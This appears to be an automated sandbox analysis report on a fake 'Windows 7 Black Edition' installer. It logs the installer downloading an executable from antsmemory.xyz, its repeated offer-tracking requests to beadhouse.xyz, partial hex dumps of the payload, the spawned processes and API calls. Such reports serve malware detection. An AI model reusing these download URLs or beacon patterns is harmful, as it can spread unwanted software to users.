http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625
Jan 21, 2024 16:57:09.417953014 CET	103	OUT	GET /boa.php HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 21, 2024 16:57:10.377640009 CET	599	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BoRmmozuBRq9CqI13UlBRNISnYdhMI1QRZXrp2S9E4Rr%2BmPpU%2F9XHkMUwUAhx4Uqy%2BV9PIgaDZwIPFaSxDBObkrdfiUxKcJcA5TuF8KnMGG1F5eA8BlPD%2FMVK7qpRk2l5xY8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0563d007b95-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	104.21.23.90	80	7140	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 16:57:05.607831001 CET	229	OUT	GET /pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: antsmemory.xyz
Jan 21, 2024 16:57:08.724606037 CET	1286	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:08 GMT Content-Type: application/force-download Content-Length: 3468151 Connection: keep-alive X-Powered-By: PHP/5.3.28 Content-Disposition: attachment; filename="Windows 7 Black Edition Free Download Full.exe_.exe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4QRMfGBepZuje39%2FRAuYOso8Q%2FmStwAhCORTKTnGRPho9ZzciaLXmppSKou%2Bh8zmeencWc6wkZd%2BB41q%2F2TOWRfizE9xs0zMBvwPvIxtTr3xhvkj%2BL4n7yl8fuqGCXNR3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c03e58707bbe-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap`@@.datar
Jan 21, 2024 16:57:08.724673033 CET	1286	IN	Data Raw: 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 20 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 3f 00 00 00 60 03 00 00 40 00 00 00 76 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @.ndata @.rsrc?`@v@@
Jan 21, 2024 16:57:08.724730968 CET	1286	IN	Data Raw: 43 81 c6 18 04 00 00 3b df 72 c6 3b df 74 0d ff 45 fc 83 45 f8 04 83 7d fc 20 72 9f 8b 45 fc 5f 5e 5b c9 c2 04 00 8b 44 24 04 85 c0 7d 11 40 b9 00 40 42 00 c1 e0 0a 2b c8 51 e8 57 47 00 00 c2 04 00 56 8b 74 24 08 eb 6a 8b c6 8b 0d d0 3e 42 00 6b Data Ascii: C;r;tEE} rE_^[D$}@@B+QWGVt$j>Bk8t\P=tUPu@FH+\|$t/6Bj5t6Bh0u56B0q@Pht$Dr@}3^D$>Bjtlihp@t$:U
Jan 21, 2024 16:57:08.724771023 CET	1286	IN	Data Raw: ff ff 05 28 3f 42 00 e9 3b 10 00 00 ff 75 f8 6a ea e8 a1 36 00 00 ff 05 54 3f 42 00 53 53 ff 75 cc ff 75 e4 e8 a2 16 00 00 ff 0d 54 3f 42 00 83 7d e8 ff 8b f8 75 06 83 7d ec ff 74 12 8d 45 e8 50 8d 45 e8 53 50 ff 75 cc ff 15 a8 70 40 00 ff 75 cc Data Ascii: (?B;uj6T?BSSuuT?B}u}tEPESPup@up@;ujVBuVBjVBh V1S4j1uP<;;i;EJ;EEjuPn;ijPMBjjE
Jan 21, 2024 16:57:08.724812984 CET	1084	IN	Data Raw: ec ff 75 e0 8a c8 80 e1 01 c6 05 8b af 40 00 01 88 0d 88 af 40 00 8a c8 80 e1 02 24 04 68 90 af 40 00 88 0d 89 af 40 00 a2 8a af 40 00 e8 03 3e 00 00 68 74 af 40 00 ff 15 4c 70 40 00 e9 23 07 00 00 53 e8 3e 0c 00 00 6a 01 8b f0 e8 35 0c 00 00 39 Data Ascii: u@@$h@@@>ht@Lp@#S>j59]PVu`r@<r@S/j1&j"jj:uhB#PS#Pu\q@!uASVj0V5;E 9]tF5q@
Jan 21, 2024 16:57:08.744741917 CET	1286	IN	Data Raw: ce 3c 00 00 85 c0 75 0d 53 6a f9 e8 65 2d 00 00 e9 b8 04 00 00 8b 45 cc 56 89 45 9c c7 45 a0 02 00 00 00 e8 c5 39 00 00 57 88 5c 30 01 e8 bb 39 00 00 88 5c 38 01 8b 45 08 66 8b 4d e4 50 53 89 75 a4 89 7d a8 89 45 b6 66 89 4d ac e8 24 2d 00 00 8d Data Ascii: <uSje-EVEE9W\09\8EfMPSu}EfM$-EP`q@=th jS9P2~4?Bh33;tSU;tj9]tj"jPSWV q@?jE!N~jxjE
Jan 21, 2024 16:57:08.744781017 CET	1286	IN	Data Raw: 85 c0 75 07 6a ed e8 56 03 00 00 56 e8 78 31 00 00 6a 02 68 00 00 00 40 56 e8 8a 31 00 00 83 f8 ff 89 45 08 0f 84 9d 00 00 00 a1 b4 3e 42 00 8b 35 00 71 40 00 50 6a 40 89 45 d4 ff d6 8b f8 3b fb 74 7b 53 e8 13 0b 00 00 ff 75 d4 57 e8 d8 0a 00 00 Data Ascii: ujVVx1jh@V1E>B5q@Pj@E;t{SuWuj@;ut4uVSuFQVPM0u8uup@ESPuWu(q@Wp@SSujEup@9]j^}j^uDq@EVSV;>B
Jan 21, 2024 16:57:08.744817972 CET	1286	IN	Data Raw: 15 f4 71 40 00 8d 45 c0 50 68 06 04 00 00 ff 75 08 e8 54 28 00 00 33 c0 c9 c2 10 00 8b 0d 40 70 41 00 a1 50 f0 41 00 3b c8 7c 02 8b c8 50 6a 64 51 ff 15 30 71 40 00 c3 55 8b ec 83 ec 40 56 33 f6 39 75 08 74 18 a1 4c 70 41 00 3b c6 74 07 50 ff 15 Data Ascii: q@EPhuT(3@pAPA;\|PjdQ0q@U@V39utLpA;tPq@5LpAv95LpAtV2fp@;>BvX95>Bt-T?BtGPEhP@Pr@EPV"#Vh;+@Vjo5>Bq@jPLpA`r@^U(SV3W]]p@
Jan 21, 2024 16:57:08.744852066 CET	1286	IN	Data Raw: 00 a1 48 70 41 00 bf 00 40 00 00 2b 05 54 f0 41 00 3b c7 7f 02 8b f8 be 40 30 41 00 57 56 e8 fb 00 00 00 85 c0 0f 84 d3 00 00 00 01 3d 54 f0 41 00 89 35 d0 af 40 00 89 3d d4 af 40 00 39 1d b0 3e 42 00 74 29 39 1d 40 3f 42 00 75 21 a1 50 f0 41 00 Data Ascii: HpA@+TA;@0AWV=TA5@=@9>Bt)9@?Bu!PAS+DpA+D$@@pAY@-@@Y.\|{5@+t2D$SPVU5@(q@tU;t$uO5@9@w9@u7;t3DpA+@L$SSP5
Jan 21, 2024 16:57:08.744885921 CET	1286	IN	Data Raw: 3f 42 00 83 f8 ff 74 04 89 44 24 18 ff 74 24 18 ff 15 a4 70 40 00 a1 14 90 40 00 56 8b 35 ec 70 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 14 90 40 00 ff a1 18 90 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 18 90 40 00 ff e8 29 00 00 00 6a 07 68 00 a8 42 00 e8 Data Ascii: ?BtD$t$p@@V5p@tP@@tP@)jhB^V5\At$V6Yu^V5\AjtW6wq@Wp@u_%\A^\AH;L$tu@3Vt$Vu@,jj@q@tL$pH\
Jan 21, 2024 16:57:08.745152950 CET	1286	IN	Data Raw: 35 78 36 42 00 ff 15 e8 71 40 00 8b 44 24 2c a3 78 36 42 00 e9 fc 03 00 00 83 fb 11 75 11 55 55 57 ff 15 30 72 40 00 33 c0 40 e9 0b 04 00 00 81 fb 11 01 00 00 0f 85 9d 00 00 00 0f b7 74 24 2c 56 57 ff 15 2c 72 40 00 8b f8 3b fd 74 1d 55 55 68 f3 Data Ascii: 5x6Bq@D$,x6BuUUW0r@3@t$,VW,r@;tUUhWDr@Wq@uV.u9-@~?jj_;u49-,?BtW=hAjx0ju%hAt$0t$0h5x6BDr@t$0t$0SOD$,\|$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	104.21.38.59	80	4956	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 16:57:20.348579884 CET	164	OUT	GET /api_pedl.php?spot=1&a=2682&on=420&o=1662 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:20.549057007 CET	612	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 15:57:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZKIIFa%2B9Faq8C3Dr1mw1%2B83%2FPd8lL%2FKUKYHlccT8cx63tFQkbyFEL%2Bk%2BqtaPemYrb%2Fle95TedKZ%2FIiBwy2uK1%2FUKsmdeyOF%2FbBUGIGNVYsp2%2FLARyJWCDnx3NtBy1DR8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c09a893b4576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 16:57:20.564023972 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1&t=1705852624 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:20.709142923 CET	576	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:20 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2w2mM50oQn9OkSQg%2BmAYNEFu%2B885UdAchHM7Y8W54skbOHMhoaQMhouvKYja5oCvuxUbhtHOfYh8h2tspzSDqC4mWMdGQ1i1SArTdJpHsLOLctrCI3x0BNWaRNEwb5O1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c09bdab74576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 16:57:20.797517061 CET	164	OUT	GET /api_pedl.php?spot=2&a=2682&on=419&o=1661 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:20.952438116 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 15:57:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zFE2Bd64GElB8wTUFqLjfBUUlrjChNj87c0XlJVcfwKxC5bpJGd%2F4Jkbf%2BaNSYIp9e1xR0JWOOVEMS8EB2hIRBH9%2FAg1byhxhET65485A5v5gSXbiikUclXZQMH02xWN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c09d4c574576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 16:57:20.965730906 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2&t=1705852624 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:21.117284060 CET	576	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:21 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cJ5kTj5P7HCJNtBRSU%2FzCVen2eJgiwsq8i6Bp00GuhWMLg8S50fxL5IuAgJIxb31OdAhUXtXWRrpMYsA95sHZsZPSZVL9edXYzqwZIKjgE5ZCABy%2F1HGcbgZU4sbPCjI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c09e5d944576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 16:57:21.141907930 CET	163	OUT	GET /api_pedl.php?spot=3&a=2682&on=244&o=331 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:21.296890974 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 15:57:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R7uIPxJNH%2FbzilmUH5owLou833FovU2h%2FcVKyjMdIIvYAygCZ2YS75McHHv%2BhCD6GG560fpbcL5FemykHXG3zf32j9aIxWOcYqNa8T7zkZPiXiSZ9vjTn1XDjQmbzA62"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c09f7edb4576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 16:57:21.310358047 CET	213	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&t=1705852624 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:21.457477093 CET	576	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:21 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TABYYDjUnqziunr19GuC2%2F34HzteCf5VnMauH2rSEKjcUyg6sM4lWdcL2QdpQwCXwXLyoe5QeLE2w4d%2Fsen1JQRbnvLNWdCyEwyxXOe9yThRYPvLubzDoUzlmCeoPLP1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a08fc34576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 16:57:21.488795996 CET	164	OUT	GET /api_pedl.php?spot=4&a=2682&on=415&o=1657 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:21.644254923 CET	600	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 15:57:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0HBmRd42Tb72ef%2F7BCUP545VtpNoDyN09qcahOxBbvhnnDNC000K9iFzxJh5%2Fv%2B45QkSA9KKEaNKkyhbvQuxd%2BsB5giaYz3psQ79ecki07pCurhWx%2FyHOhanahXEFpeM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a1a8dd4576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 16:57:21.659339905 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4&t=1705852624 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:21.805811882 CET	580	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:21 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hH61SYf6ImLJHoOA100cBJbdgbCQLURmdTjo86olsFZqjTO%2BEUvK24p3S8RY5cPus%2B8DQSpBvP7%2F70vBxkfHSf3Wx70GbIxAhd4AStVUJL6XMbJZEaNSTAoR91vi%2BWD3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a2b9fe4576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 16:57:21.831547022 CET	164	OUT	GET /api_pedl.php?spot=5&a=2682&on=424&o=1664 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:21.982016087 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 15:57:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A1QXy%2BiiS3C2IeqGoY%2BlqgOfRZ9Yh%2BN6TFmp8P49ym2Bam9cj6fIP7l3darXT39MulNnvKajhAPL0rfAE7CwDAFYuKPi18CZA45sR8fAe4PwTQOPFtLf7KFU7COD1iY8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a3cb1c4576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 16:57:21.994601965 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5&t=1705852624 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:22.141135931 CET	584	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:22 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EoP2a0ZJHCVNrLNHfzOq%2F8zSB%2BI1seg%2B2shaWNm1pItvdGOpo%2FbWlKpdOF1v%2Fxk2%2FMGnHbVmLfW5ixlFeUY8ALb6TmH9yYFcIdzZPh9Xp8Y3rNWxwOwoZXrXc1fBMVNI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a4cc124576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 16:57:22.189069033 CET	164	OUT	GET /api_pedl.php?spot=6&a=2682&on=416&o=1658 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:22.342927933 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 15:57:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rcs84IKSsz5EeDeuu48%2BeJwHvjMEXAfvwdHjUKDaFJdSJUNe6NjY%2B0vRndpBEGrW8llOjgarkykKoQpcKYkNbpA5UJuI4vadaOYthihGe1Pj%2Br5vSC8aIIq2Bn0Blj8d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a60d3f4576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 16:57:22.355479956 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6&t=1705852624 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 16:57:22.503380060 CET	584	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:22 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AKxiM9Pz9Jfl%2BKTBpTB5XDKX95IKa47dSR0DpA62TU8qhlVaTIu%2BFzwv%2FYQlWcp9aKPXWMNtiA5VGXG%2FrIqgOo3ppJg1ZBEKF1hrnV0uo8ZL39nr9cj%2FzRI2v%2FVpMuCd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0a70e644576-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	104.21.38.59	443	4956	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-21 15:57:19 UTC	156	OUT	GET /ss.php?a=3954&cc=US&t=1705852624 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-01-21 15:57:20 UTC	571	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:20 GMT Content-Type: text/plain Content-Length: 2 Connection: close X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OnEhbc2QWHp6RtDztnsfVE9VFHkfE6aCq23tViWGwiMap6zjdC3RzoMJU885ER%2FEjchjBVdzO9TU5WrbPiu2KhPM9atexy%2FqJQB7%2FTKK9pV1Df8cLzQklIOc7TuMvOTY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c0989acdb077-ATL alt-svc: h3=":443"; ma=86400
2024-01-21 15:57:20 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Target ID:	0
Start time:	16:56:59
Start date:	21/01/2024
Path:	C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Imagebase:	0x400000
File size:	1'672'117 bytes
MD5 hash:	F4D0CDA8074BC59FF9F29168CD0866D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	16:56:59
Start date:	21/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp" /SL5="$20438,832512,832512,C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	B0DF60DD7F65B421D2CB6A89CE87A876
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:57:10
Start date:	21/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
Imagebase:	0x400000
File size:	3'468'151 bytes
MD5 hash:	C4A2A4B22F3D1021ABB5414EECC4E1B5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.4%
Total number of Nodes:	1266
Total number of Limit Nodes:	39

Executed Functions

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040325B
SetErrorMode.KERNEL32(00008001), ref: 00403266
OleInitialize.OLE32(00000000), ref: 0040326D

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

SHGetFileInfoA.SHELL32(0041F458,00000000,?,00000160,00000000,00000008), ref: 00403295

